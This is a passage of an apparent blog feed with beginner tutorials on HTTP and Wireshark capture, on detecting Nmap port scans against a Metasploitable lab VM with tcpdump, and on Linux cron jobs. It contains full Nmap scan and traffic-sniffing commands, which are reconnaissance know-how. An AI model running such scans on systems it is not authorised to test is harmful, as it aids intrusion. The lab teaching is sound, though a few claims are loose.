we say. All the web browsers use HTTP protocol. In most cases, we will meet with HTTP communication (although sometimes UDP protocol can be used) which uses the TCP protocol.</p><blockquote><strong>Difference Between HTTP and HTTPS</strong>: HTTPS is the secure version of HTTP. HTTPS data is encrypted so it not only stops people from seeing the data you are receiving and sending, but it also gives you assurances that you’re talking to the correct web server and not something imitating it.</blockquote><figure><img alt="safety, secure" src="https://cdn-images-1.medium.com/max/480/0*dRTmDIz2YpxMthcJ" /></figure><ul><li>HTTP is a key part of web architecture, so understanding how web applications and websites are built can help you understand HTTP better. This includes concepts such as HTML, CSS, and JavaScript.</li><li>HTTP uses <em>request-response , client-server</em> model. An HTTP client sends a <em>request</em> message to an HTTP server. The server, in turn, returns a <em>response</em> message. In other words, HTTP is a pull protocol, the client pulls information from the server.</li><li>HTTP is a stateless protocol. Server maintains no information about past client requests, namely the current request does not know what has been done in the previous requests.</li></ul><p>You might ask, if the server doesn’t have the data from previous requests, how will it be able to keep track of what response to send for an authenticated user or a user with different permissions? Well, though it is stateless; it can keep track of this data using cookies, whenever a new session is created.</p><p>Let’s take a look the diagram that illustrates the architecture of HTTP protocol:</p><figure><img alt="http protocol" src="https://cdn-images-1.medium.com/max/712/0*-4LIlmvCWNw3HFcl" /></figure><p>As you see, there are HTTP functions as a <strong>request-response </strong>protocol in the client-server computing model. A web browser, for example, may be the client and an application running on a computer hosting a web site may be the server.</p><p>So, what are they and what contains on their headers? To understand this, let’s take a closer look at HTTP Requests-Responses and their methods.</p><h3><strong>HTTP Request and Response</strong></h3><p>HTTP servers are required to implement at least one request method, the GET or POST. An example can be seen in the figure below:</p><figure><img alt="http request and response" src="https://cdn-images-1.medium.com/max/1024/0*bbhEogMl096cEE5j" /></figure><h4><strong>HTTP Client Request</strong></h4><p>An HTTP client sends an HTTP request to a server in the form of a request message which includes following format:</p><figure><img alt="http request message" src="https://cdn-images-1.medium.com/max/1024/0*-M2ovcd23ZYH6dJT" /></figure><pre>GET /start/ HTTP/1.1<br>Host: medium.com<br>[empty-line]</pre><blockquote>This identifies the type of request, the path on medium.com (in this case, “/“) and the protocol “HTTP/1.1.” HTTP/1.1 is a revision of the first HTTP, which is now called HTTP/1.0. In HTTP/1.0, every resource request requires a separate connection to the server. HTTP/1.1 uses one connection more than once, so that additional content (like images or stylesheets) is retrieved even after the page has been retrieved.</blockquote><p>HTTP Request consists of Method, Path, Version Control and Header sections within the Request. HTTP defines a set of request methods that specify the desired action to be taken on a particular resource. If we examine the methods, most common ones:</p><ul><li><strong>CONNECT</strong>:This method creates a tunnel to the server identified by the source in the target. It converts the request connection to a transparent TCP/IP tunnel, usually to facilitate SSL-encrypted communication (HTTPS) through an unencrypted HTTP proxy.</li><li><strong>OPTIONS</strong>: This method is used to understand the communication options of the target resource. It returns the HTTP methods that the server supports for the specified URL. This can be used to check the functionality of a web server by requesting ‘*’ instead of a specific resource.</li><li><strong>HEAD</strong>: This method requests a response that is exactly the same as the GET request, only without the body. This is useful to check characteristics of a resource without actually downloading it, thus saving bandwidth. Use HEAD when you don’t actually need a file’s contents. The response to a HEAD request must never contain a message body, just the status line and headers.</li><li><strong>TRACE</strong>: This method performs a message loop-back test along the path to the source at the destination so that a client can see what (if any) changes or additions have been made by intermediate servers.</li><li><strong>GET</strong>: This method requests using GET should only receive data. It requests data from a specified resource. Requests using GET should only retrieve data and should have no other effect. The HTTP GET request method is designed to retrieve information from the server. As part of a GET request, some data can be passed within the URI’s query string, specifying for example search terms, date ranges, or other information that defines the query. HTTP GET requests can be cached, bookmarked and should never be used when dealing with sensitive data.</li><li><strong>POST</strong>: This method is used to send an entity to the specified resource, which usually causes a state change or side effects on the server. POST request method is designed to request that a web server accept the data enclosed in the request message’s body for storage. There are usually extra headers to describe this message body like Content-Type and Content-Length. It is often used when uploading a file or submitting a completed web form.</li><li><strong>PUT</strong>: This method replaces all valid representations of the resource on the target with the request payload.</li><li><strong>DELETE</strong>: This method deletes the specified resource.</li><li><strong>PATCH</strong>: This method is used to apply partial changes to a resource.</li></ul><figure><img alt="404 page not found" src="https://cdn-images-1.medium.com/max/540/0*rjjjnC13FMp3waMV" /></figure><h4><strong>HTTP Client Response</strong></h4><p>After sending the request, the server Responds to us which includes following way:</p><figure><img alt="http response message" src="https://cdn-images-1.medium.com/max/1024/0*YifBToULIS2MB2aH" /></figure><pre>HTTP/1.1 200 OK<br>Date: Mon, 11 Jan 2023 18:15:03 GMT<br>Server: Apache<br>Last-Modified: Mon, 11 Jan 2023 18:11:05 GMT<br>ETag: &quot;2d2e0–21–5808899aa4c5d&quot;<br>Accept-Ranges: bytes<br>Content-Length: 33<br>Vary: Accept-Encoding<br>Content-Type: text/html<br>&lt;body&gt;<br>&lt;h1&gt;training&lt;/h1&gt;<br>&lt;/body&gt;</pre><blockquote>We can see the following elements here:</blockquote><blockquote>Response status line: HTTP/1.1 200 OK</blockquote><blockquote>Subsequent response headers, e.g.: Server: Apache</blockquote><blockquote>Empty line</blockquote><blockquote>Body of the answer:<br> &lt;body&gt;<br> &lt;h1&gt;training&lt;/h1&gt;<br> &lt;/body&gt;</blockquote><p>HTTP Response consists of Version Control, Status Code, Status Message, Header sections and optionally Body sections within the Response. If we examine the Status Codes:</p><p>🌟 The Status-Code element in a server response, is a 3-digit integer where the first digit of the Status-Code defines the class of response and the last two digits do not have any categorization role. There are 5 values for the first digit.</p><blockquote>🌟 <strong>1xx Informational (100–199)</strong>:</blockquote><blockquote>This means the request received, server is continuing the process.</blockquote><blockquote>🌟 <strong>2xx Success (200–299)</strong>: Such as; 200 &gt; OK.</blockquote><blockquote>This means the request was successfully received, understood, accepted and serviced.</blockquote><blockquote>🌟 <strong>3xx Redirection (300–399)</strong>: Such as; 301 &gt; Permanent Redirect, 302 &gt; Temporary Redirect</blockquote><blockquote>This means further action must be taken in order to complete the request.</blockquote><blockquote>🌟 <strong>4xx Client Error (400–499)</strong>: Such as; 404 &gt; Not Found, 410 &gt; Gone</blockquote><blockquote>This means the request contains bad syntax or cannot be understood.</blockquote><blockquote>🌟 <strong>5xx Server Error (500–599)</strong>: Such as; 500 &gt; Internal Server Error, 503 &gt; Service Unavailable</blockquote><blockquote>This means the server failed to fulfill an apparently valid request.</blockquote><figure><img alt="http status codes" src="https://cdn-images-1.medium.com/max/1024/0*8m2CYUwcPg1KeD3G" /></figure><blockquote><strong>Bonus</strong> 💡 There is a web page that have collection of cat images that are in a way related to a specific HTTP status code description. Here is a <a href="https://http.cat/"><strong>link</strong></a> to visit.</blockquote><p>Usage:</p><pre>https://http.cat/[status_code]</pre><figure><img alt="http cat" src="https://cdn-images-1.medium.com/max/1024/0*CEa_vkIkXnpDd1pR" /></figure><p>It also details the meaning of status codes as follows. It’s so pretty, isn’t it? 😻</p><figure><img alt="http status code descriptions" src="https://cdn-images-1.medium.com/max/1024/0*qrc0nhzZMXELui-R" /></figure><p><strong>Other Important Data Transported to HTTP Header:</strong></p><ul><li>Authentication data</li><li>Caching</li><li>HTTP Cookies</li><li>CORS (Cross-Origin Resource Sharing)</li><li>HTTP Headers Group Context</li><li>HTTP Headers Group Proxies</li></ul><h3><strong>Observing Network Traffic by Wireshark 🚀</strong></h3><p>You can use Wireshark to view Http requests or responses and even you can extract the file that transferred over Http.</p><p>So, what is Wireshark?</p><p><strong>Wireshark</strong> is an extremely helpful tool and I would highly recommend it if you are really interested in Network Security. Wireshark is a package analyzer which means you can basically capture some network data and Wireshark help you to read it.</p><p>💡 As you remember, I mentioned a package analyzer tool in Kali-Linux which is called Tcpdump. Meanwhile, I made a sentence that Tcpdump acts similar to Wireshark. You can read my article about it from <a href="https://medium.com/@gullbusraa/detection-of-port-scan-attacks-how-to-use-nmap-to-scan-open-ports-b832339135b6"><strong>here</strong></a>.</p><p>Both Wireshark and Tcpdump are tools used for network analysis. But they function differently. <strong>Tcpdump</strong> provides a command-line interface for packet capture, whereas <strong>Wireshark</strong> offers a graphical user interface that makes visualization and analysis easier for users.</p><p>Tcpdump is often used for packet capture and simple filters whereas Wireshark is better suited to deep inspection of hundreds of protocols and can also be used for ‘<em>Voice over IP analysis</em>’.</p><p>Wireshark can decode and display captured packets in a user-friendly GUI, making it easier for users to visualize and analyze network data. Additionally, Wireshark can filter packets based on various criteria during capture and analyze network traffic at the packet level, offering real-time packet capture and analysis.</p><figure><img alt="network traffic" src="https://cdn-images-1.medium.com/max/500/0*CV7_V6BHPUykhH2d" /></figure><h4><strong>How to capture HTTP traffic in Wireshark?</strong></h4><p>First things first. 🙂 Let’s open your Kali machine and go ahead on your terminal to be sure what your internet port is and is it working. To do this we need to use <strong><em>ifconfig</em></strong> and <strong><em>ping</em></strong> command of course.</p><figure><img alt="kali ifconfig" src="https://cdn-images-1.medium.com/max/1024/0*-k62FxHFXJJoNwW6" /></figure><p>Yeah, we know the internet port which is<strong> <em>192.168.0.16</em></strong> and it works. This is in our pocket. 👾</p><p>Now, we should open the Wireshark tool. You can type <strong><em>wireshark</em></strong> command when you are root, then it run and the Wireshark window pop-up as follows.</p><figure><img alt="kali wireshark" src="https://cdn-images-1.medium.com/max/1024/0*hdE_-0If44Wt_Tye" /></figure><p>Here, we’re going to utilize <strong><em>eth0</em></strong> that is our main interface, therefore we need to choose <strong><em>eth0</em></strong> via double click on it. Once you click on it, the Wireshark window opens as follows.</p><p>You can see packets starting to generate already.</p><figure><img alt="wireshark" src="https://cdn-images-1.medium.com/max/1024/0*_7YD_gD1Dhe_n02Z" /></figure><p>We are gonna use <a href="http://www.vulnweb.com/"><strong>this website</strong></a> to make some tests to see Http requests and responses on Wireshark. There are a whole bunch of sites but we’re gonna work on <a href="http://testphp.vulnweb.com/"><strong>this site</strong></a> (Acuart) for this example. The website looks like below.</p><figure><img alt="acunetix web vulnerability scanner" src="https://cdn-images-1.medium.com/max/1024/0*4P368822bFHhe62B" /></figure><p>While the Wireshark tool is running, go ahead this link and make some entries as I did. Browse some titles in the search art section. And register for a new user then sign up, every action has a name, we are gonna see those actions on Wireshark tool easily as we filtered. ✨</p><figure><img alt="acunetix acuart" src="https://cdn-images-1.medium.com/max/1024/0*VAi3y5fcRJMhUuGR" /></figure><figure><img alt="acunetix register" src="https://cdn-images-1.medium.com/max/1024/0*euc7Sp7-5QLWvCl5" /></figure><figure><img alt="vulnweb login" src="https://cdn-images-1.medium.com/max/1024/0*1628a_F6yr5N4o2w" /></figure><figure><img alt="vulnweb" src="https://cdn-images-1.medium.com/max/1024/0*C_syKPlNQwK0Ldd1" /></figure><p>Now, come back to the Wireshark tool. There are many packages as you can see. We need to filter for what we are looking for.</p><p>If you want to see every package on your IP address. Write this command:</p><pre>ip.addr == 192.168.0.16</pre><p>You can see below the TCP protocols running on too. As I mentioned they communicate with SYN,ACK. 🙂</p><p>But we want to capture the Http requests and responses. So, we need to use the http command on the filter section to capture Http protocols. Commands are as follows:</p><pre>http.request</pre><pre>http.response</pre><blockquote>💡 Wireshark’s filtering capabilities are quite extensive, so you can refer to the Wireshark filter documentation to address more specific cases.</blockquote><figure><img alt="wireshark filter" src="https://cdn-images-1.medium.com/max/1024/0*UstAWZjsyT-ytvwc" /></figure><p>I want you to carefully look into the places I marked on the screenshots as follows.</p><p>Here, we captured many types of requests with the <strong><em>http.request</em></strong> command filter. We can see which protocol is and which methods are used, and what headers contents. Above all, we can see the TCP has started the action. 🙂</p><p>I love to use the Wireshark tool, because it gives all the results with explanations clearly and so on we can observe the network traffics handy.</p><figure><img alt="wireshark commands" src="https://cdn-images-1.medium.com/max/1024/0*chmNiRmHiUeSD5OH" /></figure><figure><img alt="http.request" src="https://cdn-images-1.medium.com/max/1024/0*NNC_JL9_tvdCS_SU" /></figure><p>Most important thing is, when you logged in on the Vulnweb-Acuart website or searched for some titles, you can capture those datas on Wireshark as follows. It actually sounds very insecure, doesn’t it? 🙂 Yeah, it’s simple easy to get info from anyone. 😀</p><figure><img alt="http header" src="https://cdn-images-1.medium.com/max/1024/0*YyQpybGZTiy0Otp-" /></figure><figure><img alt="http method" src="https://cdn-images-1.medium.com/max/1024/0*GrBf6aesGKt8f1-l" /></figure><p>And here it is, a response message. To get all response traffic, you need to write the <strong><em>http.response </em></strong>command on the filter section. Hey, here is the status code too! 👾</p><figure><img alt="http.response" src="https://cdn-images-1.medium.com/max/1024/0*06l1GXTjuERUVQiR" /></figure><h4><strong>Conclusion</strong>✨</h4><p>With this article, you have learned basically how the network works exactly and how to capture Http traffic in Wireshark, along with useful information about TCP 3-Way Handshake, Http protocol and their methods etc.</p><p>Hopefully you guys enjoyed it, watch out for more articles. Stay safe!</p><figure><img alt="the office, to be continued" src="https://cdn-images-1.medium.com/max/399/0*AGZmz_RLZsooQiwD" /></figure><blockquote>“UNIQUESEC Student Club | Website (Link:<a href="https://uniquesec.org/"> https://uniquesec.org/</a>) | Linkedin (Link:<a href="https://www.linkedin.com/company/uniquesec"> https://www.linkedin.com/company/uniquesec</a><a href="https://www.linkedin.com/company/uniquesec)%E2%80%9D">)”</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0edb1e25efd7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detection of Port Scan Attacks: How to use Nmap to scan open ports?]]></title>
            <link>https://medium.com/@gullbusraa/detection-of-port-scan-attacks-how-to-use-nmap-to-scan-open-ports-b832339135b6?source=rss-0124aaa8a32e------2</link>
            <guid isPermaLink="false">https://medium.com/p/b832339135b6</guid>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[tcpdump]]></category>
            <dc:creator><![CDATA[Büşra Gültekin]]></dc:creator>
            <pubDate>Mon, 25 Dec 2023 15:02:43 GMT</pubDate>
            <atom:updated>2023-12-25T15:06:23.054Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Detection of Port Scan Attacks: How to use Nmap to scan open ports? How to use TCPDump to find scanning activity?</strong></h3><figure><img alt="matrix terminal nmap" src="https://cdn-images-1.medium.com/max/1024/0*sFwpmtNLMgOtVviX" /><figcaption><strong>In the Matrix movie, Trinity uses the nmap command correctly to change the power station’s root password and gain access.</strong></figcaption></figure><p>Hi security people!</p><p>In this article, we will detect the scans made on our system and observe the IP address that made this scan. To observe this detection, we need to install a metasploitable machine which as being second machine in our virtual machine.</p><p>Before the installation, I would like to talk about what Metasploitable is a bit.</p><h4><strong>💡 What is Metasploitable?</strong></h4><figure><img alt="metasploitable" src="https://cdn-images-1.medium.com/max/958/0*QOCebnhrpAQooiv8" /></figure><p>Metasploit is one of the most popular and top rated penetration testing tools on the market and is designed for penetration tests, vulnerability assessments and developing and executing exploit code against remote targets. Metasploit has several user interfaces, both command line and graphical user interfaces.</p><p>When you need to learn how to swim you need a swimming pool and when you need to learn how to hack you need vulnerable machines to practice on. Metasploitable is that swimming pool that ethical hackers can use to learn about ethical hacking without breaking any laws and regulations or the need to use production networks as a lab. Metasploitable2 is an intentionally vulnerable Linux machine which can be downloaded and set up as a virtual machine in any hypervisor such as VMware,Virtual box or UTM.</p><p>In this metasploitable2 tutorial I installed the <a href="https://mac.getutm.app/"><strong>UTM</strong></a> virtual machine on my Apple m1 to configure the Metasploitable with no difficulties. UTM may not be best as Virtualbox or VMWare but it’s free of cost and you can easily use it to run any OS on your Mac.</p><p>I recommend you to follow <a href="https://medium.com/womenintechnology/install-kali-linux-virtual-machine-on-apple-m1-with-utm-6c80d930bdb0"><strong>this article</strong></a> to install it on your device, it will be very helpful to you.</p><p>Now, you know what metasploitable is and it’s used for. Let’s get into it. 🙂</p><figure><img alt="simpsons press key" src="https://cdn-images-1.medium.com/max/320/0*e_TG5_tycVz3Vn0D" /></figure><p>First, we should install the metasploitable2 on our kali machine from <a href="https://docs.rapid7.com/metasploit/metasploitable-2/"><strong>here</strong></a>.</p><p>Once metasploitable2 is downloaded, open your UTM machine. Then follow these instructions:</p><ul><li>Click on the <em>create a new virtual machine</em>.</li><li>Choose the <em>Emulate</em> &gt; <em>Other.</em></li><li>Choose the <em>Skip ISO Boot</em>.</li><li>Hardware options should be like this:</li></ul><figure><img alt="hardware" src="https://cdn-images-1.medium.com/max/1024/0*l8rlMjLinohYWl5C" /></figure><ul><li>Storage options should be <em>10GB</em>.</li><li><em>Shared directory</em> should be continued as a default option.</li><li>Edit the <em>Summary</em> and click on <em>Save</em>.</li></ul><figure><img alt="summary" src="https://cdn-images-1.medium.com/max/1024/0*ujxPTcZ2VOaaBfHF" /></figure><ul><li>QEMU Settings should be like this:</li></ul><figure><img alt="QEMU" src="https://cdn-images-1.medium.com/max/1024/0*A20S4HjpHcfa1ypc" /></figure><ul><li>Delete <em>IDE Drives</em>.</li><li>Create <em>New</em> one, import the <strong><em>metasploitable.vmdk</em></strong> file, click <em>Open</em> and <em>Save</em> the changes.</li><li>Arrange the network options on a <strong><em>Bridged</em></strong> mode and <em>Save</em>.</li></ul><figure><img alt="Bridge Mode" src="https://cdn-images-1.medium.com/max/1024/0*rjlYCHCo21jGEo_X" /></figure><blockquote><strong>💡 What is Bridge mode?</strong></blockquote><blockquote>It is a kernel module that behaves like a network switch, forwarding packets between interfaces that are connected to it. It’s usually used for forwarding packets on routers, on gateways, or between virtual machines and network namespaces on a host.</blockquote><blockquote>In Bridge Mode, one router is designated as the primary router and is responsible for assigning IP addresses to devices on the network. The second router is connected to the primary router and acts as a bridge, allowing devices on the network to communicate with each other and access the internet.</blockquote><p>🚀 Let’s launch both Kali Linux and the Metasploitable2 virtual machine and ensure that they are on the same isolated network, on the Bridged (advanced) mode.</p><ul><li>Run the <strong><em>ifconfig</em></strong> command on the Kali Linux terminal to see the IP port here. The IP address will appear on the <strong><em>eth0</em></strong> network adapter as follows.</li><li>Login to the metasploitable machine as admin: <em>msfadmin</em>, password: <em>msfadmin</em></li></ul><figure><img alt="ifconfig Kali" src="https://cdn-images-1.medium.com/max/1024/0*LCnizmw_JGT_Fcrl" /></figure><p>🚀 As you see, we determined &gt; Kali-Linux System IP: <em>192.168.2.82</em></p><ul><li>Check out for the Metasploitable machine via run <strong><em>ifconfig</em></strong> command as well too.</li></ul><figure><img alt="ifconfig metasploitable" src="https://cdn-images-1.medium.com/max/1024/0*qUo32QBoCyYKCj3X" /></figure><p>🚀 As you see, we determined &gt; Metasploitable System IP: <em>192.168.2.56</em></p><ul><li>Let’s go ahead and try <strong><em>ping</em></strong> for these machines. <strong><em>ping</em></strong> for the other machines’ IP port. We should get a reply as below.</li></ul><figure><img alt="ping linux" src="https://cdn-images-1.medium.com/max/1024/0*DPnJOmtxZzFEJ6IA" /></figure><figure><img alt="ping metasploitable" src="https://cdn-images-1.medium.com/max/1024/0*r3T_8O9mQPLsD4uQ" /></figure><p>So far we are done with configuring the vulnerable virtual machine and we can switch back to Kali Linux to run some scans on the vulnerable host to determine open ports and running services. 🚀</p><h3><strong>Detection of Port Scan Attacks</strong></h3><figure><img alt="hacking" src="https://cdn-images-1.medium.com/max/480/0*YFU0OGjvc-DoHIYT" /></figure><p>With these steps, we will run Nmap queries on the Kali Linux machine. After that, we will have captured and analyzed whole traffic on the Metasploitable machine.</p><h4><strong>🔑 What is Nmap?</strong></h4><p><a href="https://nmap.org/"><strong>Nmap</strong></a> is short for <em>Network Mapper</em>. It’s an open-source Linux command-line tool that is used to scan IP addresses and ports in a network and to detect installed applications. Nmap allows network admins to find which devices are running on their network, discover open ports and services, and detect vulnerabilities.</p><ul><li>Shows all hosts and devices connected to your network.</li><li>Creates a virtual ‘map’.</li><li>Can determine the operating system of the target.</li><li>Discovers hosts by sending a packet and analyzing the response.</li></ul><h4><strong>How to use Nmap to scan open ports?</strong></h4><p>Here, we will execute a single query and that will get port-service-version information about the Metasploitable machine.</p><blockquote><strong>Note</strong>: My Kali and Metasploitable machines IP addresses were changed when I shutdown machines so, I proceed the same steps on these machines again. Therwhile, Kali IP address is <em>192.168.0.22 </em>and Metasploitable IP address is <em>192.168.0.14 </em>now. Don’t be confused when you see the screenshots below.</blockquote><p>This is the command you need to run:</p><pre>sudo nmap -p- -sV Target_IP_Address</pre><blockquote><strong>sudo</strong> : <em>“superuser do</em>” gives a regular user access to administrator-like powers.</blockquote><blockquote><strong>nmap</strong> : Nmap scanning command</blockquote><blockquote><strong>-p-</strong> : takes the arrange of whole ports</blockquote><blockquote><strong>-sV</strong> : takes service and version informations</blockquote><p>The output looks as follows.</p><figure><img alt="nmap" src="https://cdn-images-1.medium.com/max/1024/0*DHCBasfTsXYv4GWx" /></figure><figure><img alt="nmap port scanning" src="https://cdn-images-1.medium.com/max/1024/0*s-3bThuYTDK34Zz-" /></figure><p>You can run specified or whatever you need to see commands to see how it will does effect from the second machine.</p><p>For example, I run this command;</p><pre>sudo nmap Target_IP_Address/24</pre><p>and the output on Meta2 has been as follows.</p><figure><img alt="capturing scan" src="https://cdn-images-1.medium.com/max/1024/0*l8VVVsLg91pYZ4iG" /></figure><h4><strong>🔑 What is TCPDump?</strong></h4><p><a href="https://www.tcpdump.org/"><strong>Tcpdump</strong></a> is a packet sniffer in Linux. It allows users to capture and display network packets flowing through a network interface in real-time or saved to a file for later analysis. Under the hood, tcpdump understands protocols and host names. It will do all in its power to see what host sent each packet and will tell you its name instead of the IP address. It is an exceptionally useful tool for debugging what might have caused certain networking related problems. It is an excellent tool to learn new things.</p><ul><li>Acts similar to Wireshark but has a different interface.</li><li>Terminal-based.</li><li>You type in the command for which filter you want to apply.</li></ul><h4><strong>How to use TCPDump to find scanning activity?</strong></h4><p>While we are performing a scan, let’s observe all the traffic with Tcpdump. Here, the main goal will be what kind of outputs do we capture and analyze via the tcpdump command we run, and how do we know this scan is a port scan.</p><p>First, let’s check out the available network interfaces in our system with this command:</p><pre>sudo tcpdump -D</pre><p>We will use the first one (<strong><em>eth0</em></strong>) as below.</p><figure><img alt="network interface" src="https://cdn-images-1.medium.com/max/1024/0*eJ7MyT-l7utSun-m" /></figure><p>While Kali machine attack on our machine, let’s observe and catch them via this command:</p><pre>sudo tcpdump -i -eth0 -v</pre><p>Enter as follow.</p><figure><img alt="tcpdump query" src="https://cdn-images-1.medium.com/max/1024/0*zdM_08GtG6JJwV4w" /></figure><p>As you see, live outputs looks like on Metasploitable machine:</p><figure><img alt="tcpdump output" src="https://cdn-images-1.medium.com/max/1024/0*Kv3xcskDQj0JlmfQ" /></figure><figure><img alt="detect external port scan" src="https://cdn-images-1.medium.com/max/1024/0*vHQE8655fFEVJDmZ" /></figure><p>To catch the specific port that attacking us, try this command:</p><pre>sudo tcpdump -i eth0 -v host IP_Address</pre><p>Enter as follow.</p><figure><img alt="capture attacker" src="https://cdn-images-1.medium.com/max/1024/0*Zu4EM67_QFY63Aml" /></figure><p>Now, you captured the attacker 🙂 :</p><figure><img alt="observe attacks" src="https://cdn-images-1.medium.com/max/1024/0*hBdecWPi0A8bPqLJ" /></figure><h4><strong>Conclusion </strong>🚀</h4><p>With this tutorial-like article, you have learned how you could use a second machine in your virtual machine in bridge mode and after that, what happens when a device attacks your device and how you observe these attacks with tcpdump simply, and how you could do these kinds of attacks with nmap.</p><p>Next article will be very exciting. Keep in touch!</p><figure><img alt="hide" src="https://cdn-images-1.medium.com/max/500/0*ipsrVoPllRvJEZsp" /></figure><blockquote>“UNIQUESEC Student Club | Website (Link:<a href="https://uniquesec.org/"> https://uniquesec.org/</a>) | Linkedin (Link:<a href="https://www.linkedin.com/company/uniquesec"> https://www.linkedin.com/company/uniquesec</a><a href="https://www.linkedin.com/company/uniquesec)%E2%80%9D">)”</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b832339135b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CRON JOBS in LINUX: How to Schedule Tasks?]]></title>
            <link>https://medium.com/@gullbusraa/cron-jobs-in-linux-how-to-schedule-tasks-575fa6db6d05?source=rss-0124aaa8a32e------2</link>
            <guid isPermaLink="false">https://medium.com/p/575fa6db6d05</guid>
            <category><![CDATA[crontab]]></category>
            <category><![CDATA[cronjob]]></category>
            <category><![CDATA[scheduling]]></category>
            <category><![CDATA[cron]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Büşra Gültekin]]></dc:creator>
            <pubDate>Mon, 18 Dec 2023 14:57:14 GMT</pubDate>
            <atom:updated>2023-12-19T10:07:42.032Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="kali linux" src="https://cdn-images-1.medium.com/max/1024/0*otWmPEc4d9anv6op" /></figure><p>Hello everyone! 👋</p><p>Let’s continue the Cyber Security journey together. In this article, I’ll talk about Cron, Cron-Jobs and Cron-Tabs. After that, I’ll show you an example about scheduled tasks. That will be mostly technical, but I’ll make it easy and fun for you. I hope you enjoy reading and apply it.</p><p>As I explained in my last <a href="https://medium.com/@gullbusraa/task-1-1-how-to-install-kali-linux-on-vmware-fusion-915c02077df8">article</a> how we installed a Kali-Linux system inside a virtual machine. We will make our Cron examples on Kali Terminal. So, go in. Before scheduling any task, I wanna tell you about some Cron terminologies to know them better.</p><p>Here it comes. Let’s get into it. ✨</p><figure><img alt="let’s get into it" src="https://cdn-images-1.medium.com/max/400/0*U3zTQDkWkcAFQ7cl" /></figure><h4><strong>What is Cron?</strong></h4><p>Cron is a time-based job scheduler that runs in the background on a server. Cron jobs are scripts or programs which are automatically executed at specific intervals for routine tasks such as sending out email notifications, refreshing analytics data, etc.</p><p>Cron jobs can be set up to run once, daily, weekly, and monthly. Most cron implementations allow users to set up jobs to run at any particular time of day or day of the week. A cron job will be queued until its scheduled execution time arrives then executed at that time.</p><h4><strong>What is Cron Job?</strong></h4><p>The actual events that are scheduled using Cron with a specific time interval and command. Cron jobs can be scheduled to run at a specific time, or at a specific time of day. They are commonly used for things like running backups, sending emails, and performing system maintenance tasks, etc.</p><p>While they are not something most users will ever have to configure or manage directly, they are a valuable tool for administrators and software developers who need to automate routine tasks.</p><p>A cron job has three parts: an interval, a command, and the name of a user who will run the command.</p><h4><strong>What is CronTab?</strong></h4><p>Crontab is a<a href="https://www.techtarget.com/searchdatacenter/definition/Unix"> </a>Unix/Linux command that creates a table or list of commands, each of which is to be executed by the operating system at a specified time and on a regular schedule.</p><p>Crontab, which is short for <em>Cron Table</em>, is a file containing the schedule of various Cron entries that should be run at specified times. Another way of describing Crontab is as a utility that enables tasks to run automatically at regular intervals in the background by the cron<a href="https://www.techtarget.com/whatis/definition/daemon"> </a>daemon.</p><p>The Crontab file contains simple instructions for the daemon that mean “run this command at this time on this date.” These instructions specify which command will be executed, on which date and at what time. The file location varies depending on the OS.</p><p>They have many benefits and can save you time in the long run. However, they do require some setting up before they work properly so make sure that you know what your needs are before getting started! ✨</p><h4><strong>How to use Cron Jobs?</strong></h4><p>First of all, you will need to create a Crontab file and specify the schedule and command for your job. You can do this using a text editor like nano or vi.</p><p>To create any Crontab file before you need to know some commands to use for.</p><figure><img alt="steps" src="https://cdn-images-1.medium.com/max/480/0*-BJGT4lb2xHLKgdH" /></figure><h4><strong>Crontab Commands:</strong></h4><p><strong><em>crontab -e</em></strong><em> </em>: Edit crontab file, or create one if it doesn’t already exist.</p><p><strong><em>crontab -l</em> </strong>: Display crontab file contents.</p><p><strong><em>crontab -r</em></strong> : Remove your current crontab file.</p><p><strong><em>crontab -i </em></strong>: Remove your current crontab file with a prompt before removal.</p><p><strong><em>crontab -u &lt;username&gt;</em></strong> : Edit other users’ crontab files. This option requires system administrator privileges.</p><p><strong><em>crontab -u &lt;username&gt; -e </em></strong>: Edit Crontab for a different user.</p><h4>Crontab Syntax and Operators</h4><p>Each line in the user Crontab file contains six fields/asterisks separated by a space followed by the command to be run. What does each asterisk mean? The answer is as I show below.</p><figure><img alt="crontab syntax" src="https://cdn-images-1.medium.com/max/1024/0*E2Dnh9gvWBPEsAUc" /></figure><p>The first five fields may contain one or more values, separated by a comma or a range of values separated by a hyphen.</p><p>Also:</p><figure><img alt="crontab commands" src="https://cdn-images-1.medium.com/max/1024/1*4CvMC4RFcl884vW-OdX1IQ.png" /></figure><p><strong><em>* </em></strong>: The asterisk operator means any value or always. If you have the asterisk symbol in any field, it means the task will be performed each minute/hour/week/month.</p><p><strong><em>, </em></strong>: The comma operator allows you to specify a list of values for repetition. For example, if you have 1,5,9 in the <em>hour</em> field, the task will run at 1am, 5am and 9am. And you need to know if you want to arrange the time like 5pm you have to type 17.</p><p><strong><em>- </em></strong>: The hyphen operator allows you to specify a range of values. If you have 1–5 in the <em>day of week</em> field, the task will run every weekday (from Monday to Friday).</p><p><strong><em>/ </em></strong>: The slash operator allows you to specify values that will be repeated over a certain interval between them. For example, if you have <strong>*/4</strong> in the <em>hour</em> field, it means the action will be performed every four hours.</p><h3><strong>How to Schedule Tasks?: Cron Jobs Examples</strong></h3><p>In a business life, there are many tasks that need to be done routinely. These tasks can be done manually, but they’re often repetitive or time-sensitive. For example, you might want to run a report every month or send an email reminder to your employees every week. In these cases, using Cron jobs to automate these processes will save time and make them more efficient.</p><p>🤖These could be email reminders, database backups, checking for software updates, running security scans, calling APIs at regular times, archiving old data, data analytics/reporting, running inventory scripts, syncing files between systems, monitoring &amp; alerting such as; e-mail notifications, sms/text messages, phone calls, etc.</p><figure><img alt="cronjobs" 